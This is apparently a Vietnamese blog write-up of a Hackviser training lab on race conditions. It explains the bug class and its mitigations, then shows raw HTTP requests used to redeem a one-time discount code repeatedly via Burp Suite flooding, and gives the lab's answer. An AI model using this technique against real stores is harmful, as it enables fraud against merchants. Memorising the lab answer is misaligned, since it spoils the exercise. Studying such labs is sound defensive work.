Discount Code Lab

  • Kiến thức của phần này chủ yếu về Race Condition(Điều kiện tranh chấp) . Ví dụ như sau :
TimeThread A (Deposit $50)Thread B (Deposit $75)Account_balance
1Reads balance: $100$100
2Calculates new balance: $150 (100 + 50)$100
3Reads balance: $100$100
4Writes $150 to balance$150
5Calculates new balance: $175 (100 + 75)$150
6Writes $175 to balance$175
  • Vấn đề: Số dư cuối cùng là $175, một kết quả sai. Thao tác đọc của Luồng B xảy ra trước khi Luồng A kịp ghi kết quả mới, vì vậy nó đã làm việc với dữ liệu đã cũ. Số dư đúng phải là $100 + $50 + $75 = $225. Giao dịch $50 từ Luồng A đã bị mất.

  • Đây là một lỗi đua dữ liệu kinh điển, thường được gọi là lỗi “Kiểm-tra-rồi-mới-Làm” hoặc “Đọc-Sửa-Ghi”.

  • Để lỗi này xảy ra, cần hội tụ các điều kiện sau:

    • Tài nguyên Dùng chung: Nhiều luồng cùng truy cập vào một dữ liệu hoặc tài nguyên (ví dụ: biến so_du_tai_khoan).
    • Có ít nhất một luồng SỬA ĐỔI dữ liệu. (Nếu tất cả các luồng chỉ đọc dữ liệu thì sẽ không có vấn đề gì).
    • Thiếu Đồng bộ Hóa: Không có cơ chế nào để kiểm soát thứ tự truy cập của các luồng, khiến cho các thao tác không được thực hiện một cách nguyên tử (atomic).
  • Phòng Ngừa và Các Biện Pháp Giảm Thiểu
  • Việc ngăn chặn các lỗ hổng đua dữ liệu là một bước quan trọng để phát triển phần mềm bảo mật và mạnh mẽ. Dưới đây là các phương pháp và kỹ thuật chi tiết có thể được sử dụng để ngăn chặn lỗi đua dữ liệu.
    1. Kỹ Thuật Đồng Bộ Hóa (Synchronization Techniques) : Đồng bộ hóa bao gồm các kỹ thuật được sử dụng để đảm bảo nhiều luồng hoặc tiến trình hoạt động theo một thứ tự cụ thể. Các kỹ thuật này là nền tảng để ngăn chặn lỗi đua dữ liệu.
  • a) Mutex (Loại Trừ Lẫn Nhau)
  • Mục đích: Ngăn chặn nhiều luồng truy cập vào Đoạn Mã Găng (Critical Section) cùng một lúc.
  • Cơ chế: Khi một luồng chiếm được mutex và bước vào đoạn mã găng, các luồng khác phải chờ đợi cho đến khi mutex được giải phóng.
  • Ưu điểm: Đơn giản, hiệu quả cho hầu hết các tình huống cần bảo vệ tài nguyên dùng chung.
  • b) Semaphore
  • Mục đích: Cho phép một số lượng giới hạn các luồng truy cập vào một nhóm tài nguyên cùng một lúc.
  • Khác biệt với Mutex: Trong khi Mutex chỉ cho 1 luồng vào, Semaphore có thể cấp phép cho n luồng.
  • Ứng dụng: Lý tưởng để quản lý một nhóm tài nguyên có giới hạn (ví dụ: kết nối cơ sở dữ liệu, khe kết nối mạng).
  • c) Event & Condition Variables
  • Mục đích: Điều phối hoạt động phức tạp giữa các luồng bằng cách cho phép chúng chờ đợi các điều kiện cụ thể xảy ra.
  • Ứng dụng: Hữu ích trong các mô hình Producer-Consumer (Nhà sản xuất - Người tiêu dùng), nơi một luồng chờ đợi dữ liệu từ một luồng khác.
    1. Phân Tích Thời Điểm (Timing Analysis) & Ngăn chặn TOCTOU : Phân tích và ngăn ngừa các lỗ hổng TOCTOU là chìa khóa để giảm thiểu ảnh hưởng của lỗi đua dữ liệu.
  • Bản chất của vấn đề: Các lỗ hổng này phát sinh từ sự chênh lệch thời gian giữa việc kiểm tra (Check) và sử dụng (Use).
  • Giải pháp kỹ thuật:
  • Rút ngắn khoảng cách TOCTU: Thu hẹp tối đa thời gian giữa thời điểm kiểm tra và thời điểm sử dụng.
  • Sử dụng các thao tác nguyên tử của hệ thống: Thay vì kiểm tra rồi mới mở file, hãy mở file trực tiếp với các cờ (flags) đặc biệt (ví dụ: O_EXCL trong Linux) để thao tác “mở và tạo” trở thành nguyên tử.
  • Khóa (Lock) tài nguyên: Sau khi kiểm tra, ngay lập tức khóa tài nguyên đó lại để ngăn không cho trạng thái của nó thay đổi cho đến khi hoàn tất việc sử dụng.
    1. Thực Hành Lập Trình An Toàn (Secure Coding Practices) : Các thực hành lập trình an toàn là một bước quan trọng trong việc ngăn ngừa các lỗ hổng đua dữ liệu ngay từ gốc.
  • a) Nguyên Tắc Thiết Kế Tốt (Good Design Principles)
  • Sử dụng các Thao tác Nguyên tử (Atomic Operations): Đảm bảo các thao tác quan trọng hoàn thành mà không bị gián đoạn. Nhiều ngôn ngữ cung cấp kiểu dữ liệu nguyên tử (ví dụ: AtomicInteger trong Java) cho các phép toán đơn giản.
  • Sử dụng Đồng bộ hóa một cách Hợp lý:
  • Không quá ít: Dẫn đến lỗi đua dữ liệu.
  • Không quá nhiều: Dẫn đến hiệu suất kém, gây nghẽn cổ chai (bottleneck). Chỉ khóa những gì thực sự cần thiết.
  • Thiết kế để Giảm thiểu Trạng thái Dùng chung (Minimize Shared State): Kiến trúc tốt nhất để tránh lỗi đua dữ liệu là tránh không chia sẻ trạng thái. Sử dụng các mô hình như Bất đồng bộ (Actor Model) hoặc chuyển thông điệp (message passing) nếu phù hợp.
  • Sử dụng Đối tượng Bất biến (Immutable Objects): Các đối tượng không thể thay đổi sau khi tạo ra thì mặc định đã an toàn luồng (thread-safe) và không cần khóa.
  • b) Kỹ Thuật Kiểm tra Mã (Code Review Techniques) : Kiểm tra Mã (Code Reviews): Việc kiểm tra mã bởi các nhà phát triển có kinh nghiệm có thể giúp xác định các lỗ hổng đua dữ liệu tiềm ẩn. Cần đặc biệt chú ý đến:
  • Mọi biến toàn cục (global) hoặc biến static.
  • Bất kỳ dữ liệu nào được truyền qua giữa các luồng.
  • Các vùng mã nghi ngờ là “Đoạn Mã Găng”.
  • Việc sử dụng các cơ chế đồng bộ hóa có đúng cách không (ví dụ: có bị quên khóa không?).
  • Công cụ Tự động (Automated Tools):
    • Công cụ Phân tích Tĩnh (Static Analysis Tools): Các công cụ như SonarQube, Coverity, hoặc linters cụ thể cho ngôn ngữ có thể quét mã để tìm các mẫu mã nguy hiểm (ví dụ: phát hiện một biến được sửa đổi bởi nhiều luồng mà không có khóa).
    • Công cụ Phân tích Động (Dynamic Analysis Tools): Các công cụ như ThreadSanitizer (TSan) có thể chạy cùng với chương trình của bạn để phát hiện các lỗi đua dữ liệu thực sự xảy ra trong lúc chạy, bằng cách mô phỏng các lịch trình luồng khác nhau.

Kịch Bản và yêu cầu : This lab contains a vulnerability that allows a discount code to exceed its redemption limit, allowing a ticket to be purchased at a lower cost. Your starting balance is not enough to purchase the ticket. To complete the lab, use the discount code, which only has a one-time use limit, multiple times to make the ticket price affordable for your balance. What is the order number that appears after ticket purchase?

  • Nếu đã hiểu lý thuyết về tranh chấp luồng rồi thì bài lap này để minh chứng cho lỗ hỏng trên . Vì phiếu giảm giá chỉ được sài 1 lần nhưng do bị lỗ hỏng này nên ta có thể giảm giá được nhiều lần , Ví dụ như giảm 50 nhưng khi gửi đi thì phía server cần 1 thời gian để xử lý(lúc này mã giảm giá vẫn trong trạng thái chưa được sử dụng , chỉ khi giảm giá thành công thì trạng thái của mã giảm giá mới từ chưa sử dụng thành đã sử dụng) , trong khoảng thời gian ngắn ngủi đó tôi spam gửi giảm giá nhiều lần với nội dung request như sau :
POST /index.php HTTP/1.1
Host: absolute-joker.europe1.hackviser.space
Cookie: PHPSESSID=31mloej2jsopqmbh0em4etr3r2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: https://absolute-joker.europe1.hackviser.space
Referer: https://absolute-joker.europe1.hackviser.space/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

code=FLASHSALE50&useDiscountCode=
  • Tôi sử dụng Burp Suite để spam gửi request . Sau khi gửi liên tục trong vài giây ngắn ngủi thì tôi đã giảm giá đến mức giá có thể mua được.
  • Sau đó tôi mua vé .
POST /index.php HTTP/1.1
Host: absolute-joker.europe1.hackviser.space
Cookie: PHPSESSID=31mloej2jsopqmbh0em4etr3r2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: https://absolute-joker.europe1.hackviser.space
Referer: https://absolute-joker.europe1.hackviser.space/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

buy=
  • Sau khi mua xong thì tôi nhận được thông báo mua thành công kèm số hóa đơn theo đề bài yêu cầu :

==> The Answer : 4c5d3f1eebcf04e1df8f

Discount Code Lab

Author

Kai0Kid

Publish Date

10 - 07 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?